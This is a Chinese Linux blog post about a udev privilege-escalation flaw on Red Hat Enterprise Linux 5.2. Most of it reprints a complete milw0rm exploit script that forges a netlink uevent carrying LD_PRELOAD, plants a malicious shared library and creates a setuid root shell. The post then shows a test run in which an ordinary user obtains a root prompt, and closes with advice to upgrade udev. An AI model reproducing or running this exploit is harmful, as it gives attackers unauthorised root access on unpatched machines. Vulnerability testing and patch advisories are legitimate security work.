Chinaunix首页 | 论坛 | 博客
  • 博客访问: 270735
  • 博文数量: 53
  • 博客积分: 2580
  • 博客等级: 少校
  • 技术积分: 509
  • 用 户 组: 普通用户
  • 注册时间: 2009-12-29 10:02
文章分类

全部博文(53)

文章存档

2014年(1)

2013年(1)

2011年(14)

2010年(37)

我的朋友

分类: LINUX

2010-06-30 17:42:28

    udev 是Linux kernel 2.6系列的设备管理器。它主要的功能是管理/dev目录底下的设备节点。它同时也是用来接替devfs及hotplug的功能,这意味着它要在添加/删除硬件时处理/dev目录以及所有用户空间的行为,包括加载firmware时。udev的最新版本依赖于升级后的Linux kernel 2.6.13的uevent接口的最新版本。使用新版本udev的系统不能在2.6.13以下版本启动,除非使用noudev参数来禁用udev并使用传统的/dev来进行设备读取。
  
    测试系统:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
    测试udev版本:udev-095-14.16.el5
 
建立脚本test.sh,如下:
 

#!/bin/sh

# Linux 2.6

# bug found by Sebastian Krahmer

#

# lame sploit using LD technique

# by kcope in 2009

# tested on debian-etch,ubuntu,gentoo

# do a 'cat /proc/net/netlink'

# and set the first arg to this

# script to the pid of the netlink socket

# (the pid is udevd_pid - 1 most of the time)

# + sploit has to be UNIX formatted text :)

# + if it doesn't work the 1st time try more often

#

# WARNING: maybe needs some FIXUP to work flawlessly

## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

 
cat > udev.c << _EOF
#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

 
#ifndef NETLINK_KOBJECT_UEVENT

#define NETLINK_KOBJECT_UEVENT 15

#endif

 
#define SHORT_STRING 64

#define MEDIUM_STRING 128

#define BIG_STRING 256

#define LONG_STRING 1024

#define EXTRALONG_STRING 4096

#define TRUE 1

#define FALSE 0

 
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
 
main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];
 
        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");
 
        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;
 
        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;
 
        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
 
        char message[LONG_STRING];
        char *mp;
 
        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
 
        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);
 
        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);
 
        sendmsg(socket_fd, &msg, 0);
 
        close(socket_fd);
 
    sleep(10);
//    execl("/tmp/suid", "suid", (void*)0);
}
 
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include

#include

#include

#include

#include

 
 
void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
 
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
 
# milw0rm.com [2009-04-20]

 
/tmp/suid

 


执行以下操作:

-bash-3.2$ id
uid=500(pplive) gid=500(pplive) groups=500(pplive) context=root:system_r:unconfined_t:SystemLow-SystemHigh
-bash-3.2$ ps -ef|grep udev                  //获取udev的进程号
root 598 1 0 2009 ? 00:00:00 /sbin/udevd -d
pplive 17744 17626 0 15:31 pts/0 00:00:00 grep udev
-bash-3.2$ sh test.sh 597   //运行脚本,后面的参数书udev进程号-1
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'

sh-3.2#                //已经获得了Root权限了


当我把udev升级到udev-095-14.21.el5.i386.rpm   就没有此问题了。

因为redhat5.2的udev默认版本是udev-095-14.16.el5,所以可以说是比较危险的,需要升级udev到udev-095-14.21.el5.i386.rpm

阅读(1191) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~